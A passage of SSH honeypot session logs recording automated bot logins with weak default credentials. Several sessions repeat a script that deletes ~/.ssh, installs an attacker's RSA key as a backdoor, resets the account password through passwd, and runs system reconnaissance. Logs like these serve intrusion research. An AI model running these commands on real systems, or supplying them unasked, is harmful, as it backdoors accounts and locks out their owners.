-l"},{"seq":20,"at":"2026-08-27T12:18:56.102999+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:18:56.407237+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:18:57.130384+00:00","kind":"output","latency_ms":null,"data":"top - 12:18:57 up 7 days, 9:09, 0 user, load average: 0.08, 0.05, 0.06\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:18:57.432081+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:18:57.855881+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:18:58.152040+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:18:58.829319+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:18:59.130719+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:18:59.515110+00:00","kind":"output","latency_ms":null,"data":"pivpn"},{"seq":29,"at":"2026-08-27T12:18:59.814150+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:19:01.019357+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:19:01.319326+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:19:03.211162+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pivpn","password":"pivpn1234","method":"password","accepted":true,"tier":"other"}]} {"id":"e970556b-bf11-4101-94e1-bd615820ad01","name":"umber-courtly-cougar","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44786,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:18:45.502121+00:00","ended_at":"2026-08-27T12:18:47.280886+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"pivpn","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6cd2a942-966b-493e-9a88-d45f964b671b","name":"humble-vigilant-owl","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":49498,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:18:44.239960+00:00","ended_at":"2026-08-27T12:18:44.916617+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"90f233c9-a27d-4ed5-8e5a-ad096db4b742","name":"murky-obsidian-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59556,"username":"radius","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":461,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:18:32.276938+00:00","ended_at":"2026-08-27T12:18:33.654095+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:18:10.507943+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:18:10.970629+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:18:16.371077+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:18:17.128336+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:18:17.591629+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nv1YpR9rGBxGC\\nv1YpR9rGBxGC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:18:18.051225+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nv1YpR9rGBxGC\\nv1YpR9rGBxGC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:18:18.508645+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:18:19.368885+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:18:19.827116+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:18:21.047328+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:18:21.508037+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:18:22.526674+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:18:22.989255+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:18:23.426964+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:18:23.892730+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:18:24.491299+00:00","kind":"output","latency_ms":null,"data":" 12:18:24 up 7 days, 9:08, 0 user, load average: 0.32, 0.24, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:18:24.953855+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:18:25.578179+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:18:26.037616+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:18:26.831281+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:18:27.293707+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:18:27.697237+00:00","kind":"output","latency_ms":null,"data":"top - 12:18:27 up 7 days, 9:08, 0 user, load average: 0.32, 0.24, 0.34\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:18:28.159204+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:18:28.548478+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:18:29.010055+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:18:29.285929+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:18:29.747918+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:18:30.492863+00:00","kind":"output","latency_ms":null,"data":"radius"},{"seq":29,"at":"2026-08-27T12:18:30.952549+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:18:31.817547+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:18:32.277744+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:18:33.512670+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"radius","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"f13b4e3d-6b21-4dfa-b884-c4b10781f0a4","name":"rambling-hearty-dipper","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59568,"username":"radius","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:18:14.931067+00:00","ended_at":"2026-08-27T12:18:16.052708+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"radius","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"913179b9-56dc-4558-89de-2ad13d6d9b34","name":"barren-weathered-mole","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59558,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:18:12.012094+00:00","ended_at":"2026-08-27T12:18:14.022191+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"464cf29c-a5b7-42bb-a3fa-d990165de08a","name":"brave-foggy-oryx","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57670,"username":"cuckoo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:17:38.862670+00:00","ended_at":"2026-08-27T12:17:40.888936+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T12:17:21.221926+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:17:21.548841+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:17:25.931191+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:17:26.395283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:17:26.721777+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cuckoo\\noUX0IRHE975x\\noUX0IRHE975x\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:17:27.049952+00:00","kind":"input","latency_ms":null,"data":"echo \"cuckoo\\noUX0IRHE975x\\noUX0IRHE975x\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:17:27.375533+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:17:27.910728+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:17:28.239123+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:17:29.112683+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:17:29.443651+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:17:30.194592+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:17:30.532688+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:17:30.824550+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:17:31.154201+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:17:31.913856+00:00","kind":"output","latency_ms":null,"data":" 12:17:31 up 7 days, 9:07, 0 user, load average: 0.1, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:17:32.242243+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:17:32.663547+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:17:32.991942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:17:33.319054+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:17:33.648022+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:17:34.257851+00:00","kind":"output","latency_ms":null,"data":"top - 12:17:34 up 7 days, 9:07, 0 user, load average: 0.1, 0.1, 0.07\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:17:34.587662+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:17:34.960130+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:17:35.288135+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:17:36.054139+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:17:36.384120+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:17:37.259910+00:00","kind":"output","latency_ms":null,"data":"cuckoo"},{"seq":29,"at":"2026-08-27T12:17:37.588294+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:17:38.534599+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:17:38.863195+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:17:40.790620+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cuckoo","password":"cuckoo","method":"password","accepted":true,"tier":"other"}]} {"id":"41f9f301-0f99-43d0-b4ad-6d08299e70d8","name":"canny-autumn-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":55478,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":756,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:17:37.816270+00:00","ended_at":"2026-08-27T12:17:39.130521+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2269,"events":[{"seq":1,"at":"2026-08-27T12:17:10.305014+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:17:11.053571+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:17:17.819003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:17:18.278318+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:17:19.033164+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ftp_user@2023\\nkufz6LT5T9pG\\nkufz6LT5T9pG\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:17:19.786587+00:00","kind":"input","latency_ms":null,"data":"echo \"ftp_user@2023\\nkufz6LT5T9pG\\nkufz6LT5T9pG\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:17:20.565793+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:17:21.193263+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:17:21.948677+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:17:22.874847+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:17:23.632100+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:17:24.418878+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:17:25.184403+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:17:25.636537+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:17:26.394631+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:17:26.840252+00:00","kind":"output","latency_ms":null,"data":" 12:17:26 up 7 days, 9:07, 0 user, load average: 0.15, 0.12, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:17:27.597998+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:17:28.205041+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:17:28.960522+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:17:29.861342+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:17:30.617927+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:17:31.075930+00:00","kind":"output","latency_ms":null,"data":"top - 12:17:31 up 7 days, 9:07, 0 user, load average: 0.15, 0.12, 0.17\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:17:31.831644+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:17:32.536534+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:17:33.291314+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:17:33.730008+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:17:34.491041+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:17:35.324140+00:00","kind":"output","latency_ms":null,"data":"ftp_user"},{"seq":29,"at":"2026-08-27T12:17:36.081483+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:17:37.055243+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:17:37.817025+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:17:38.884474+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftp_user","password":"ftp_user@2023","method":"password","accepted":true,"tier":"other"}]} {"id":"b79aced4-aad9-4169-a27d-82fe9b3e5e09","name":"wandering-lonesome-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55980,"username":"ebi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:17:31.960154+00:00","ended_at":"2026-08-27T12:17:33.416619+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T12:17:10.818565+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:17:11.105744+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:17:16.042894+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:17:16.380889+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:17:16.644675+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ebi\\nNoOeIfGFiTIs\\nNoOeIfGFiTIs\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:17:16.913957+00:00","kind":"input","latency_ms":null,"data":"echo \"ebi\\nNoOeIfGFiTIs\\nNoOeIfGFiTIs\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:17:17.165286+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:17:17.869929+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:17:18.130658+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:17:19.911836+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:17:20.175318+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:17:21.396525+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:17:21.659327+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:17:22.036872+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:17:22.298725+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:17:22.805229+00:00","kind":"output","latency_ms":null,"data":" 12:17:22 up 7 days, 9:07, 0 user, load average: 0.26, 0.29, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:17:23.066362+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:17:23.591332+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:17:23.853935+00:00","kind":"input","latency_ms":null,"data":"cat 